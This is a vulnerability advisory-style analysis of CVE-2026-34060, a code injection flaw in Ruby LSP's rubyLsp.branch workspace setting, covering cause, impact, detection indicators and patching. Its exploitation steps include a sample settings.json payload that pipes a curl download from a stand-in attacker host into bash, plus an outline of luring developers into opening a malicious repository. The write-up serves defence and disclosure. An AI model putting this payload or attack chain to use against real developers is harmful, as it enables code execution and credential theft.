CVE-2026-34060: 
Ruby vulnerability analysis and mitigation

CVE-2026-34060 is a code injection vulnerability in Ruby LSP (Language Server Protocol implementation for Ruby) that allows arbitrary Ruby code execution when a user opens a malicious project in VS Code or another supported editor. The vulnerability affects the Shopify.ruby-lsp VS Code extension prior to version 0.10.2 and the ruby-lsp RubyGems package prior to version 0.26.9. It was published on March 25, 2026, by Shopify maintainer vinistock, and added to the GitHub Advisory Database on March 27, 2026 (GitHub Advisory). The CVSS v4 base score is 7.1 (High), while a CVSS v3.1 score of 9.8 (Critical) has also been assigned (GitHub Advisory).

The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection): the rubyLsp.branch VS Code workspace setting was passed as a CLI argument to the ruby-lsp server and interpolated directly — without sanitization — into a generated .ruby-lsp/Gemfile (GitHub Advisory, Shopify Advisory). An attacker can craft a malicious repository containing a .vscode/settings.json file with a weaponized rubyLsp.branch value containing arbitrary Ruby code. When a victim opens the project and trusts the workspace, the injected code is evaluated during Gemfile generation. The attack is not limited to VS Code — any editor that automatically applies workspace-level settings upon opening and trusting a project is also affected, since the interpolation occurs in the server component (Shopify Advisory).

Successful exploitation results in arbitrary Ruby code execution with the full privileges of the user who opened the malicious project, enabling complete system compromise, data theft, credential harvesting, or malware installation (GitHub Advisory). Confidentiality, integrity, and availability of the victim's system are all fully impacted. Because Ruby LSP assumes workspace code is trusted, developers who routinely open third-party or open-source repositories are at elevated risk, and the attack could serve as an initial access vector for broader lateral movement within a development environment (Shopify Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.026–0.048%, placing it in the lower percentiles for near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. Exploitation requires user interaction — specifically, a developer must open and trust a malicious workspace — which limits opportunistic mass exploitation but makes it well-suited for targeted supply chain or social engineering attacks against Ruby developers.

1. Craft malicious repository: Create a Git repository containing a .vscode/settings.json file with a malicious rubyLsp.branch value, e.g.:

{
  "rubyLsp.branch": "main\n\ngem 'malicious-gem'\n`system('curl http://attacker.com/shell.sh | bash')`\n"
}

The injected content breaks out of the expected string context and injects arbitrary Ruby code into the generated Gemfile.

2. Distribute the repository: Host the malicious repository on a public platform (e.g., GitHub, GitLab) or deliver it via phishing, dependency confusion, or a pull request to a legitimate project.

3. Victim opens the project: The target developer clones or opens the repository in VS Code (or another editor that auto-applies workspace settings) with the Ruby LSP extension installed and a vulnerable version active.

4. Victim trusts the workspace: Upon opening, the editor prompts the user to trust the workspace. Once trusted, the rubyLsp.branch setting is automatically applied.

5. Code injection triggers: The ruby-lsp server reads the rubyLsp.branch setting, passes it as a CLI argument, and interpolates it unsanitized into the generated .ruby-lsp/Gemfile. The injected Ruby code executes with the privileges of the victim user.

6. Achieve objective: The attacker's payload runs — establishing a reverse shell, exfiltrating credentials or source code, installing persistence mechanisms, or performing further lateral movement (GitHub Advisory, Shopify Advisory).

• File System: Presence of a .vscode/settings.json in a project root containing a rubyLsp.branch value with newlines, backticks, or Ruby code constructs; unexpected or modified .ruby-lsp/Gemfile containing injected gem entries or inline Ruby expressions.
• Process: Unexpected child processes spawned from the ruby-lsp server process (e.g., bash, sh, curl, wget, python, ruby) executing network or file system operations; unusual outbound network connections initiated by the ruby-lsp process.
• Network: Outbound connections to unknown or attacker-controlled hosts originating from the developer workstation shortly after opening a Ruby project in VS Code.
• Logs: VS Code extension host logs showing errors or unexpected output during Gemfile generation; system logs recording process execution of shell commands by the ruby-lsp server user.

The rubyLsp.branch setting has been entirely removed in the patched versions, eliminating the vulnerability vector (GitHub Advisory). Users should update the Shopify.ruby-lsp VS Code extension to version >= 0.10.2 (auto-updates are enabled by default in VS Code, so most users are already protected) and the ruby-lsp RubyGems package to version >= 0.26.9 (Shopify Advisory, Release Notes). Users who have disabled auto-updates must manually update the extension. As a general precaution, developers should avoid opening untrusted repositories without reviewing .vscode/settings.json and other workspace configuration files, and should use VS Code's workspace trust feature to restrict automatic setting application for unknown projects.

The advisory was published by Shopify maintainer vinistock on March 25, 2026, and reviewed by the GitHub Advisory Database on March 27, 2026 (GitHub Advisory). Red Hat acknowledged the CVE on April 1, 2026. No significant independent researcher commentary, social media discussion, or major media coverage has been identified beyond standard vulnerability database aggregation.